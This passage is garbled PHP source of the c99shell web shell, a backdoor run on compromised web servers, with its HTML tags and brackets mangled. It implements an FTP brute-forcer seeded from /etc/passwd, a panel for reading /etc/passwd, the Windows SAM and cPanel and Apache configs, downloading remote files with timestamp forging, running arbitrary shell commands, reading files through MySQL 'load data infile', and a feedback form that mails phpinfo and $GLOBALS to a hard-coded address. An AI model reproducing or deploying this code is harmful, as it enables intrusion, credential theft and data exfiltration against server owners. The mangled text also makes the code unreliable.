echo "td a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode ("delete from `".$row ("name")."`")."\"img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"empty\" height=\"13\" width=\"11\" border=\"0\"/a a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode ("drop table `".$row ("name")."`")."\"img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"drop\" height=\"13\" width=\"11\" border=\"0\"/a a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row ("name")."\"img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"insert\" height=\"13\" width=\"11\" border=\"0\"/a /td";
echo "/tr";
$i++;
)
echo "tr bgcolor=\"000000\"";
echo "tdcenterb»/b/center/td";
echo "tdcenterb".$i." table (s)/b/center/td";
echo "tdb".$trows."/b/td";
echo "td".$row (1)."/td";
echo "td".$row (10)."/td";
echo "td".$row (11)."/td";
echo "tdb".view_size ($tsize)."/b/td";
echo "td/td";
echo "/tr";
echo "/tablehr size=\"1\" noshadep align=\"right\"img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"select name=\"sql_act\"";
echo "option value=\"\"with selected:/option";
echo "option value=\"tbldrop\"drop/option";
echo "option value=\"tblempty\"empty/option";
echo "option value=\"tbldump\"dump/option";
echo "option value=\"tblcheck\"check table/option";
echo "option value=\"tbloptimize\"optimize table/option";
echo "option value=\"tblrepair\"repair table/option";
echo "option value=\"tblanalyze\"analyze table/option";
echo "/select input type=\"submit\" value=\"confirm\"/form/p";
mysql_free_result ($result);
)
)
)
)
)
else
(
$acts = array ("","newdb","serverstatus","servervars","processes","getfile");
if (in_array ($sql_act,$acts)) (?table border="0" width="100%" height="1"trtd width="30%" height="1"bcreate new db:/bform action="?php echo $surl;?"input type="hidden" name="act" value="sql"input type="hidden" name="sql_act" value="newdb"input type="hidden" name="sql_login" value="?php echo htmlspecialchars ($sql_login);?"input type="hidden" name="sql_passwd" value="?php echo htmlspecialchars ($sql_passwd);?"input type="hidden" name="sql_server" value="?php echo htmlspecialchars ($sql_server);?"input type="hidden" name="sql_port" value="?php echo htmlspecialchars ($sql_port);?"input type="text" name="sql_newdb" size="20" input type="submit" value="create"/form/tdtd width="30%" height="1"bview file:/bform action="?php echo $surl;?"input type="hidden" name="act" value="sql"input type="hidden" name="sql_act" value="getfile"input type="hidden" name="sql_login" value="?php echo htmlspecialchars ($sql_login);?"input type="hidden" name="sql_passwd" value="?php echo htmlspecialchars ($sql_passwd);?"input type="hidden" name="sql_server" value="?php echo htmlspecialchars ($sql_server);?"input type="hidden" name="sql_port" value="?php echo htmlspecialchars ($sql_port);?"input type="text" name="sql_getfile" size="30" value="?php echo htmlspecialchars ($sql_getfile);?" input type="submit" value="get"/form/tdtd width="30%" height="1"/td/trtrtd width="30%" height="1"/tdtd width="30%" height="1"/tdtd width="30%" height="1"/td/tr/table?php )
if (!empty ($sql_act))
(
echo "hr size=\"1\" noshade";
if ($sql_act == "newdb")
(
echo "b";
if ( (mysql_create_db ($sql_newdb)) and (!empty ($sql_newdb))) (echo "db \"".htmlspecialchars ($sql_newdb)."\" has been created with success!/bbr";)
else (echo "can't create db \"".htmlspecialchars ($sql_newdb)."\".brreason:/b ".mysql_smarterror ();)
)
if ($sql_act == "serverstatus")
(
$result = mysql_query ("show status", $sql_sock);
echo "centerbserver-status variables:/bbrbr";
echo "table cellspacing=0 cellpadding=0 bgcolor=#333333 bordercolorlight=#333333 border=1tdbname/b/tdtdbvalue/b/td/tr";
while ($row = mysql_fetch_array ($result, mysql_num)) (echo "trtd".$row (0)."/tdtd".$row (1)."/td/tr";)
echo "/table/center";
mysql_free_result ($result);
)
if ($sql_act == "servervars")
(
$result = mysql_query ("show variables", $sql_sock);
echo "centerbserver variables:/bbrbr";
echo "table cellspacing=0 cellpadding=0 bgcolor=#333333 bordercolorlight=#333333 border=1tdbname/b/tdtdbvalue/b/td/tr";
while ($row = mysql_fetch_array ($result, mysql_num)) (echo "trtd".$row (0)."/tdtd".$row (1)."/td/tr";)
echo "/table";
mysql_free_result ($result);
)
if ($sql_act == "processes")
(
if (!empty ($kill)) ($query = "kill ".$kill.";"; $result = mysql_query ($query, $sql_sock); echo "bkilling process #".$kill."... ok. he is dead, amen./b";)
$result = mysql_query ("show processlist", $sql_sock);
echo "centerbprocesses:/bbrbr";
echo "table cellspacing=0 cellpadding=2 bgcolor=#333333 bordercolorlight=#333333 border=1tdbid/b/tdtdbuser/b/tdtdbhost/b/tdtdbdb/b/tdtdbcommand/b/tdtdbtime/b/tdtdbstate/b/tdtdbinfo/b/tdtdbaction/b/td/tr";
while ($row = mysql_fetch_array ($result, mysql_num)) ( echo "trtd".$row (0)."/tdtd".$row (1)."/tdtd".$row (2)."/tdtd".$row (3)."/tdtd".$row (4)."/tdtd".$row (5)."/tdtd".$row (6)."/tdtd".$row (7)."/tdtda href=\"".$sql_surl."sql_act=processes&kill=".$row (0)."\"ukill/u/a/td/tr";)
echo "/table";
mysql_free_result ($result);
)
if ($sql_act == "getfile")
(
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db ($tmpdb);
if (!$select) (mysql_create_db ($tmpdb); $select = mysql_select_db ($tmpdb); $created =!$select;)
if ($select)
(
$created = false;
mysql_query ("create table `tmp_file` ( `viewing the file in safe_mode+open_basedir` longblob not null );");
mysql_query ("load data infile \"".addslashes ($sql_getfile)."\" into table tmp_file");
$result = mysql_query ("select * from tmp_file;");
if (!$result) (echo "berror in reading file (permision denied)!/b";)
else
(
for ($i=0;$imysql_num_fields ($result);$i++) ($name = mysql_field_name ($result,$i);)
$f = "";
while ($row = mysql_fetch_array ($result, mysql_assoc)) ($f.= join ("\r\n",$row);)
if (empty ($f)) (echo "bfile \"".$sql_getfile."\" does not exists or empty!/bbr";)
else (echo "bfile \"".$sql_getfile."\":/bbr".nl2br (htmlspecialchars ($f))."br";)
mysql_free_result ($result);
mysql_query ("drop table tmp_file;");
)
)
mysql_drop_db ($tmpdb); //comment it if you want to leave database
)
)
)
)
echo "/td/tr/table";
if ($sql_sock)
(
$affected = @mysql_affected_rows ($sql_sock);
if ( (!is_numeric ($affected)) or ($affected 0)) ($affected = 0;)
echo "trtdcenterbaffected rows: ".$affected."/center/td/tr";
)
echo "/table";
)
if ($act == "mkdir")
(
if ($mkdir!= $d)
(
if (file_exists ($mkdir)) (echo "bmake dir \"".htmlspecialchars ($mkdir)."\"/b: object alredy exists";)
elseif (!mkdir ($mkdir)) (echo "bmake dir \"".htmlspecialchars ($mkdir)."\"/b: access denied";)
echo "brbr";
)
$act = $dspact = "ls";
)
if ($act == "ftpquickbrute")
(
echo "bftp quick brute:/bbr";
if (!win) (echo "this functions not work in windows!brbr";)
else
(
function c99ftpbrutecheck ($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
(
if ($fqb_onlywithsh) ($true = (!in_array ($sh,array ("/bin/false","/sbin/nologin")));)
else ($true = true;)
if ($true)
(
$sock = @ftp_connect ($host,$port,$timeout);
if (@ftp_login ($sock,$login,$pass))
(
echo "a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"bconnected to ".$host." with login \"".$login."\" and password \"".$pass."\"/b/a.br";
ob_flush ();
return true;
)
)
)
if (!empty ($submit))
(
if (!is_numeric ($fqb_lenght)) ($fqb_lenght = $nixpwdperpage;)
$fp = fopen ("/etc/passwd","r");
if (!$fp) (echo "can't get /etc/passwd for password-list.";)
else
(
if ($fqb_logging)
(
if ($fqb_logfile) ($fqb_logfp = fopen ($fqb_logfile,"w");)
else ($fqb_logfp = false;)
$fqb_log = "ftp quick brute (called c99shell v. ".$shver.") started at ".date ("d.m.y h:i:s")."\r\n\r\n";
if ($fqb_logfile) (fwrite ($fqb_logfp,$fqb_log,strlen ($fqb_log));)
)
ob_flush ();
$i = $success = 0;
$ftpquick_st = getmicrotime ();
while (!feof ($fp))
(
$str = explode (":",fgets ($fp,2048));
if (c99ftpbrutecheck ("localhost",21,1,$str (0),$str (0),$str (6),$fqb_onlywithsh))
(
echo "bconnected to ".$server_name." with login \"".$str (0)."\" and password \"".$str (0)."\"/bbr";
$fqb_log.= "connected to ".$server_name." with login \"".$str (0)."\" and password \"".$str (0)."\", at ".date ("d.m.y h:i:s")."\r\n";
if ($fqb_logfp) (fseek ($fqb_logfp,0); fwrite ($fqb_logfp,$fqb_log,strlen ($fqb_log));)
$success++;
ob_flush ();
)
if ($i $fqb_lenght) (break;)
$i++;
)
if ($success == 0) (echo "no success. connections!"; $fqb_log.= "no success. connections!\r\n";)
$ftpquick_t = round (getmicrotime ()-$ftpquick_st,4);
echo "hr size=\"1\" noshadebdone!/bbrtotal time (secs): ".$ftpquick_t."brtotal connections: ".$i."brsuccess.: font color=\"green\"b".$success."/b/fontbrunsuccess.:". ($i-$success)."/bbrconnects per second: ".round ($i/$ftpquick_t,2)."br";
$fqb_log.= "\r\n------------------------------------------\r\ndone!\r\ntotal time (secs): ".$ftpquick_t."\r\ntotal connections: ".$i."\r\nsuccess.: ".$success."\r\nunsuccess.:". ($i-$success)."\r\nconnects per second: ".round ($i/$ftpquick_t,2)."\r\n";
if ($fqb_logfp) (fseek ($fqb_logfp,0); fwrite ($fqb_logfp,$fqb_log,strlen ($fqb_log));)
if ($fqb_logemail) (@mail ($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);)
fclose ($fqb_logfp);
)
)
else
(
$logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date ("d.m.y_h_i_s").".log";
$logfile = str_replace ("//",directory_separator,$logfile);
echo "form method=\"post\"brread first: input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"brbrusers only with shell? input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"brbrlogging? input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checkedbrlogging to file? input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"". (strlen ($logfile)+2* (strlen ($logfile)/10))."\"brlogging to e-mail? input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"". (strlen ($logemail)+2* (strlen ($logemail)/10))."\"brbrinput type=\"submit\" name=\"submit\" value=\"brute\"/form";
)
)
)
if ($act == "d")
(
if (!is_dir ($d)) (echo "centerbpermision denied!/b/center";)
else
(
echo "bdirectory information:/btable border=0 cellspacing=1 cellpadding=2";
if (!$win)
(
echo "trtdbowner/group/b/tdtd ";
$tmp = posix_getpwuid (fileowner ($d));
if ($tmp ("name") == "") (echo fileowner ($d)."/";)
else (echo $tmp ("name")."/";)
$tmp = posix_getgrgid (filegroup ($d));
if ($tmp ("name") == "") (echo filegroup ($d);)
else (echo $tmp ("name");)
)
echo "trtdbperms/b/tdtda href=\"".$surl."act=chmod&d=".urlencode ($d)."\"b".view_perms_color ($d)."/b/atrtdbcreate time/b/tdtd ".date ("d/m/y h:i:s",filectime ($d))."/td/trtrtdbaccess time/b/tdtd ".date ("d/m/y h:i:s",fileatime ($d))."/td/trtrtdbmodify time/b/tdtd ".date ("d/m/y h:i:s",filemtime ($d))."/td/tr/tablebr";
)
)
if ($act == "phpinfo") (@ob_clean (); phpinfo (); exit;)
if ($act == "security")
(
echo "centerbserver security information:/b/centerbsoftware:/b ".php_os.", ".$server_software."brbsafe-mode: ".$hsafemode."/bbrbopen base dir: ".$hopenbasedir."/bbr";
if (!$win)
(
if ($nixpasswd)
(
if ($nixpasswd == 1) ($nixpasswd = 0;)
echo "b*nix /etc/passwd:/bbr";
if (!is_numeric ($nixpwd_s)) ($nixpwd_s = 0;)
if (!is_numeric ($nixpwd_e)) ($nixpwd_e = $nixpwdperpage;)
echo "form method=\"get\"input type=\"hidden\" name=\"act\" value=\"security\"input type=\"hidden\" name=\"nixpasswd\" value=\"1\"bfrom:/b input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\" bto:/b input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\" input type=\"submit\" value=\"view\"/formbr";
$i = $nixpwd_s;
while ($i $nixpwd_e)
(
$uid = posix_getpwuid ($i);
if ($uid)
(
$uid ("dir") = "a href=\"".$surl."act=ls&d=".urlencode ($uid ("dir"))."\"".$uid ("dir")."/a";
echo join (":",$uid)."br";
)
$i++;
)
)
else (echo "bra href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"buget /etc/passwd/u/b/abr";)
)
else
(
$v = $_server ("windir")."\repair\sam";
if (file_get_contents ($v)) (echo "bfont color=\"red\"you can't crack winnt passwords (".$v.") /font/bbr";)
else (echo "bfont color=\"green\"you can crack winnt passwords. a href=\"".$surl."act=f&f=sam&d=".$_server ("windir")."\\repair&ft=download\"ubdownload/b/u/a, and use lcp.crack+ ©./font/bbr";)
)
if (file_get_contents ("/etc/userdomains")) (echo "bfont color=\"green\"a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"ubview cpanel user-domains logs/b/u/a/font/bbr";)
if (file_get_contents ("/var/cpanel/accounting.log")) (echo "bfont color=\"green\"a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"ubview cpanel logs/b/u/a/font/bbr";)
if (file_get_contents ("/usr/local/apache/conf/httpd.conf")) (echo "bfont color=\"green\"a href=\"".$surl."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"ubapache configuration (httpd.conf)/b/u/a/font/bbr";)
if (file_get_contents ("/etc/httpd.conf")) (echo "bfont color=\"green\"a href=\"".$surl."act=f&f=httpd.conf&d=/etc/&ft=txt\"ubapache configuration (httpd.conf)/b/u/a/font/bbr";)
)
if ($act == "mkfile")
(
if ($mkfile!= $d)
(
if (file_exists ($mkfile)) (echo "bmake file \"".htmlspecialchars ($mkfile)."\"/b: object alredy exists";)
elseif (!fopen ($mkfile,"w")) (echo "bmake file \"".htmlspecialchars ($mkfile)."\"/b: access denied";)
else ($act = "f"; $d = dirname ($mkfile); if (substr ($d,-1,1)!= directory_separator) ($d.= directory_separator;) $f = basename ($mkfile);)
)
else ($act = $dspact = "ls";)
)
if ($act == "encoder")
(
echo "scriptfunction set_encoder_input (text) (document.forms.encoder.input.value = text;)/scriptcenterbencoder:/b/centerform name=\"encoder\" method=\"post\"binput:/bcentertextarea name=\"encoder_input\" id=\"input\" cols=50 rows=5".@htmlspecialchars ($encoder_input)."/textareabrbrinput type=submit value=\"calculate\"brbr/centerbhashes/b:brcenter";
foreach (array ("md5","crypt","sha1","crc32") as $v)
(
echo $v." - input type=text size=50 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"".$v ($encoder_input)."\" readonlybr";
)
echo "/centerburl:/bcenterbrurlencode - input type=text size=35 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"".urlencode ($encoder_input)."\" readonly
brurldecode - input type=text size=35 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"".urldecode ($encoder_input)."\" readonly
br/centerbbase64:/bcenterbase64_encode - input type=text size=35 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"".base64_encode ($encoder_input)."\" readonly/center";
echo "centerbase64_decode - ";
if (base64_encode (base64_decode ($encoder_input))!= $encoder_input) (echo "input type=text size=35 value=\"failed\" disabled readonly";)
else
(
$debase64 = base64_decode ($encoder_input);
$debase64 = str_replace ("\0"," (0)",$debase64);
$a = explode ("\r\n",$debase64);
$rows = count ($a);
$debase64 = htmlspecialchars ($debase64);
if ($rows == 1) (echo "input type=text size=35 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"".$debase64."\" id=\"debase64\" readonly";)
else ($rows++; echo "textarea cols=\"40\" rows=\"".$rows."\" onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" id=\"debase64\" readonly".$debase64."/textarea";)
echo " a href=\"#\" onclick=\"set_encoder_input (document.forms.encoder.debase64.value)\"b^/b/a";
)
echo "/centerbrbbase convertations/b:centerdec2hex - input type=text size=35 onfocus=\"this.select ()\" onmouseover=\"this.select ()\" onmouseout=\"this.select ()\" value=\"";
$c = strlen ($encoder_input);
for ($i=0;$i$c;$i++)
(
$hex = dechex (ord ($encoder_input ($i)));
if ($encoder_input ($i) == "&") (echo $encoder_input ($i);)
elseif ($encoder_input ($i)!= "\\") (echo "%".$hex;)
)
echo "\" readonlybr/center/form";
)
if ($act == "fsbuff")
(
$arr_copy = $sess_data ("copy");
$arr_cut = $sess_data ("cut");
$arr = array_merge ($arr_copy,$arr_cut);
if (count ($arr) == 0) (echo "centerbbuffer is empty!/b/center";)
else (echo "bfile-system buffer/bbrbr"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";)
)
if ($act == "selfremove")
(
if ( ($submit == $rndcode) and ($submit!= ""))
(
if (unlink (__file__)) (@ob_clean (); echo "thanks for using c99shell v.".$shver."!"; exit; )
else (echo "centerbcan't delete ".__file__."!/b/center";)
)
else
(
if (!empty ($rndcode)) (echo "berror: incorrect confimation!/b";)
$rnd = rand (0,9).rand (0,9).rand (0,9);
echo "form method=\"post\"bself-remove: ".__file__." brbare you sure?brfor confirmation, enter \"".$rnd."\"/b: input type=\"hidden\" name=\"rndcode\" value=\"".$rnd."\"input type=\"text\" name=\"submit\" input type=\"submit\" value=\"yes\"/form";
)
)
if ($act == "feedback")
(
$suppmail = base64_decode ("yzk5c2hlbgxaaw5ib3gucnu=");
if (!empty ($submit))
(
$ticket = substr (md5 (microtime ()+rand (1,1000)),0,6);
$body = "c99shell v.".$shver." feedback #".$ticket."\nname: ".htmlspecialchars ($fdbk_name)."\ne-mail: ".htmlspecialchars ($fdbk_email)."\nmessage:\n".htmlspecialchars ($fdbk_body)."\n\nip: ".$remote_addr;
if (!empty ($fdbk_ref))
(
$tmp = @ob_get_contents ();
ob_clean ();
phpinfo ();
$phpinfo = base64_encode (ob_get_contents ());
ob_clean ();
echo $tmp;
$body.= "\n"."phpinfo (): ".$phpinfo."\n"."\$globals=".base64_encode (serialize ($globals))."\n";
)
mail ($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"from: ".$suppmail);
echo "centerbthanks for your feedback! your ticket id: ".$ticket."./b/center";
)
else (echo "form method=\"post\"bfeedback or report bug (".str_replace (array ("@","."),array (" (at)"," (dot)"),$suppmail)."):brbryour name: input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars ($fdbk_name)."\"brbryour e-mail: input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars ($fdbk_email)."\"brbrmessage:brtextarea name=\"fdbk_body\" cols=80 rows=10".htmlspecialchars ($fdbk_body)."/textareainput type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode ($http_referer)."\"brbrattach server-info * input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checkedbrbrthere are no checking in the form.brbr* - strongly recommended, if you report bug, because we need it for bug-fix.brbrwe understand languages: english, russian.brbrinput type=\"submit\" name=\"submit\" value=\"send\"/form";)
)
if ($act == "search")
(
echo "bsearch in file-system:/bbr";
if (empty ($search_in)) ($search_in = $d;)
if (empty ($search_name)) ($search_name = " (.*)"; $search_name_regexp = 1;)
if (empty ($search_text_wwo)) ($search_text_regexp = 0;)
if (!empty ($submit))
(
$found = array ();
$found_d = 0;
$found_f = 0;
$search_i_f = 0;
$search_i_d = 0;
$a = array
(
"name"=$search_name, "name_regexp"=$search_name_regexp,
"text"=$search_text, "text_regexp"=$search_text_regxp,
"text_wwo"=$search_text_wwo,
"text_cs"=$search_text_cs,
"text_not"=$search_text_not
);
$searchtime = getmicrotime ();
$in = array_unique (explode (";",$search_in));
foreach ($in as $v) (c99fsearch ($v);)
$searchtime = round (getmicrotime ()-$searchtime,4);
if (count ($found) == 0) (echo "bno files found!/b";)
else
(
$ls_arr = $found;
$disp_fullpath = true;
$act = "ls";
)
)
echo "form method=\"post\"
input type=\"hidden\" name=\"d\" value=\"".$dispd."\"input type=\"hidden\" name=\"act\" value=\"".$dspact."\"
bsearch for (file/directory name): /binput type=\"text\" name=\"search_name\" size=\"".round (strlen ($search_name)+25)."\" value=\"".htmlspecialchars ($search_name)."\" input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds ($search_name_regexp,1," checked")." - regexp
brbsearch in (explode \";\"): /binput type=\"text\" name=\"search_in\" size=\"".round (strlen ($search_in)+25)."\" value=\"".htmlspecialchars ($search_in)."\"
brbrbtext:/bbrtextarea name=\"search_text\" cols=\"122\" rows=\"10\"".htmlspecialchars ($search_text)."/textarea
brbrinput type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds ($search_text_regexp,1," checked")." - regexp
input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds ($search_text_wwo,1," checked")." - uw/uhole words only
input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds ($search_text_cs,1," checked")." - casue/u sensitive
input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds ($search_text_not,1," checked")." - find files unot/u containing the text
brbrinput type=\"submit\" name=\"submit\" value=\"search\"/form";
if ($act == "ls") ($dspact = $act; echo "hr size=\"1\" noshadebsearch took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round ( ($search_i_f+$search_i_d)/$searchtime,4)." objects per second)./bbrbr";)
)
if ($act == "chmod")
(
$mode = fileperms ($d.$f);
if (!$mode) (echo "bchange file-mode with error:/b can't get current value.";)
else
(
$form = true;
if ($chmod_submit)
(
$octet = "0".base_convert ( ($chmod_o ("r")?1:0). ($chmod_o ("w")?1:0). ($chmod_o ("x")?1:0). ($chmod_g ("r")?1:0). ($chmod_g ("w")?1:0). ($chmod_g ("x")?1:0). ($chmod_w ("r")?1:0). ($chmod_w ("w")?1:0). ($chmod_w ("x")?1:0),2,8);
if (chmod ($d.$f,$octet)) ($act = "ls"; $form = false; $err = "";)
else ($err = "can't chmod to ".$octet.".";)
)
if ($form)
(
$perms = parse_perms ($mode);
echo "bchanging file-mode (".$d.$f."), ".view_perms_color ($d.$f)." (".substr (decoct (fileperms ($d.$f)),-4,4).")/bbr". ($err?"berror:/b ".$err:"")."form action=\"".htmlspecialchars ($surl)."\" method=\"post\"input type=hidden name=d value=\"".htmlspecialchars ($d)."\"input type=hidden name=f value=\"".htmlspecialchars ($f)."\"input type=hidden name=act value=chmodtable align=left width=300 border=0 cellspacing=0 cellpadding=5trtdbowner/bbrbrinput type=checkbox name=chmod_o (r) value=1". ($perms ("o") ("r")?" checked":"")." readbrinput type=checkbox name=chmod_o (w) value=1". ($perms ("o") ("w")?" checked":"")." writebrinput type=checkbox name=chmod_o (x) value=1". ($perms ("o") ("x")?" checked":"")."execute/tdtdbgroup/bbrbrinput type=checkbox name=chmod_g (r) value=1". ($perms ("g") ("r")?" checked":"")." readbrinput type=checkbox name=chmod_g (w) value=1". ($perms ("g") ("w")?" checked":"")." writebrinput type=checkbox name=chmod_g (x) value=1". ($perms ("g") ("x")?" checked":"")."execute/font/tdtdbworld/bbrbrinput type=checkbox name=chmod_w (r) value=1". ($perms ("w") ("r")?" checked":"")." readbrinput type=checkbox name=chmod_w (w) value=1". ($perms ("w") ("w")?" checked":"")." writebrinput type=checkbox name=chmod_w (x) value=1". ($perms ("w") ("x")?" checked":"")."execute/font/td/trtrtdinput type=submit name=chmod_submit value=\"save\"/td/tr/table/form";
)
)
)
if ($act == "upload")
(
$uploadmess = "";
$uploadpath = str_replace ("\\",directory_separator,$uploadpath);
if (empty ($uploadpath)) ($uploadpath = $d;)
elseif (substr ($uploadpath,-1,1)!= "/") ($uploadpath.= "/";)
if (!empty ($submit))
(
global $http_post_files;
$uploadfile = $http_post_files ("uploadfile");
if (!empty ($uploadfile ("tmp_name")))
(
if (empty ($uploadfilename)) ($destin = $uploadfile ("name");)
else ($destin = $userfilename;)
if (!move_uploaded_file ($uploadfile ("tmp_name"),$uploadpath.$destin)) ($uploadmess.= "error uploading file ".$uploadfile ("name")." (can't copy \"".$uploadfile ("tmp_name")."\" to \"".$uploadpath.$destin."\"!br";)
)
elseif (!empty ($uploadurl))
(
if (!empty ($uploadfilename)) ($destin = $uploadfilename;)
else
(
$destin = explode ("/",$destin);
$destin = $destin (count ($destin)-1);
if (empty ($destin))
(
$i = 0;
$b = "";
while (file_exists ($uploadpath.$destin)) (if ($i 0) ($b = "_".$i;) $destin = "index".$b.".html"; $i++;))
)
if ( (!eregi ("http://",$uploadurl)) and (!eregi ("https://",$uploadurl)) and (!eregi ("ftp://",$uploadurl))) (echo "bincorect url!/bbr";)
else
(
$st = getmicrotime ();
$content = @file_get_contents ($uploadurl);
$dt = round (getmicrotime ()-$st,4);
if (!$content) ($uploadmess.= "can't download file!br";)
else
(
if ($filestealth) ($stat = stat ($uploadpath.$destin);)
$fp = fopen ($uploadpath.$destin,"w");
if (!$fp) ($uploadmess.= "error writing to file ".htmlspecialchars ($destin)."!br";)
else
(
fwrite ($fp,$content,strlen ($content));
fclose ($fp);
if ($filestealth) (touch ($uploadpath.$destin,$stat (9),$stat (8));)
)
)
)
)
)
if ($miniform)
(
echo "b".$uploadmess."/b";
$act = "ls";
)
else
(
echo "bfile upload:/bbrb".$uploadmess."/bform enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode ($d)."\" method=\"post\"
select file on your local computer: input name=\"uploadfile\" type=\"file\"br orbr
input url: input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars ($uploadurl)."\" size=\"70\"brbr
save this file dir: input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"brbr
file-name (auto-fill): input name=uploadfilename size=25brbr
input type=checkbox name=uploadautoname value=1 id=df4 convert file name to lovercasebrbr
input type=\"submit\" name=\"submit\" value=\"upload\"
/form";
)
)
if ($act == "delete")
(
$delerr = "";
foreach ($actbox as $v)
(
$result = false;
$result = fs_rmobj ($v);
if (!$result) ($delerr.= "can't delete ".htmlspecialchars ($v)."br";)
)
if (!empty ($delerr)) (echo "bdeleting with errors:/bbr".$delerr;)
$act = "ls";
)
if (!$usefsbuff)
(
if ( ($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) (echo "centerbsorry, buffer is disabled. for enable, set directive \"\$usefsbuff\" as true./center";)
)
else
(
if ($act == "copy") ($err = ""; $sess_data ("copy") = array_merge ($sess_data ("copy"),$actbox); c99_sess_put ($sess_data); $act = "ls"; )
elseif ($act == "cut") ($sess_data ("cut") = array_merge ($sess_data ("cut"),$actbox); c99_sess_put ($sess_data); $act = "ls";)
elseif ($act == "unselect") (foreach ($sess_data ("copy") as $k=$v) (if (in_array ($v,$actbox)) (unset ($sess_data ("copy") ($k));)) foreach ($sess_data ("cut") as $k=$v) (if (in_array ($v,$actbox)) (unset ($sess_data ("cut") ($k));)) c99_sess_put ($sess_data); $act = "ls";)
if ($actemptybuff) ($sess_data ("copy") = $sess_data ("cut") = array (); c99_sess_put ($sess_data);)
elseif ($actpastebuff)
(
$psterr = "";
foreach ($sess_data ("copy") as $k=$v)
(
$to = $d.basename ($v);
if (!fs_copy_obj ($v,$to)) ($psterr.= "can't copy ".$v." to ".$to."!br";)
if ($copy_unset) (unset ($sess_data ("copy") ($k));)
)
foreach ($sess_data ("cut") as $k=$v)
(
$to = $d.basename ($v);
if (!fs_move_obj ($v,$to)) ($psterr.= "can't move ".$v." to ".$to."!br";)
unset ($sess_data ("cut") ($k));
)
c99_sess_put ($sess_data);
if (!empty ($psterr)) (echo "bpasting with errors:/bbr".$psterr;)
$act = "ls";
)
elseif ($actarcbuff)
(
$arcerr = "";
if (substr ($actarcbuff_path,-7,7) == ".tar.gz") ($ext = ".tar.gz";)
else ($ext = ".tar.gz";)
if ($ext == ".tar.gz") ($cmdline = "tar cfzv";)
$cmdline.= " ".$actarcbuff_path;
$objects = array_merge ($sess_data ("copy"),$sess_data ("cut"));
foreach ($objects as $v)
(
$v = str_replace ("\\",directory_separator,$v);
if (substr ($v,0,strlen ($d)) == $d) ($v = basename ($v);)
if (is_dir ($v))
(
if (substr ($v,-1,1)!= directory_separator) ($v.= directory_separator;)
$v.= "*";
)
$cmdline.= " ".$v;
)
$tmp = realpath (".");
chdir ($d);
$ret = myshellexec ($cmdline);
chdir ($tmp);
if (empty ($ret)) ($arcerr.= "can't call archivator (".htmlspecialchars (str2mini ($cmdline,60)).")!br";)
$ret = str_replace ("\r\n","\n",$ret);
$ret = explode ("\n",$ret);
if ($copy_unset) (foreach ($sess_data ("copy") as $k=$v) (unset ($sess_data ("copy") ($k));))
foreach ($sess_data ("cut") as $k=$v)
(
if (in_array ($v,$ret)) (fs_rmobj ($v);)
unset ($sess_data ("cut") ($k));
)
c99_sess_put ($sess_data);
if (!empty ($arcerr)) (echo "barchivation errors:/bbr".$arcerr;)
$act = "ls";
)
elseif ($actpastebuff)
(
$psterr = "";
foreach ($sess_data ("copy") as $k=$v)
(
$to = $d.basename ($v);
if (!fs_copy_obj ($v,$d)) ($psterr.= "can't copy ".$v." to ".$to."!br";)
if ($copy_unset) (unset ($sess_data ("copy") ($k));)
)
foreach ($sess_data ("cut") as $k=$v)
(
$to = $d.basename ($v);
if (!fs_move_obj ($v,$d)) ($psterr.= "can't move ".$v." to ".$to."!br";)
unset ($sess_data ("cut") ($k));
)
c99_sess_put ($sess_data);
if (!empty ($psterr)) (echo "bpasting with errors:/bbr".$psterr;)
$act = "ls";
)
)
if ($act == "cmd")
(
if (trim ($cmd) == "ps -aux") ($act = "ps_aux";)
else
(
@chdir ($chdir);
if (!empty ($submit))
(
echo "bresult of execution this command/b:br";
$olddir = realpath (".");
@chdir ($d);
$ret = myshellexec ($cmd);
$ret = convert_cyr_string ($ret,"d","w");
if ($cmd_txt)
(
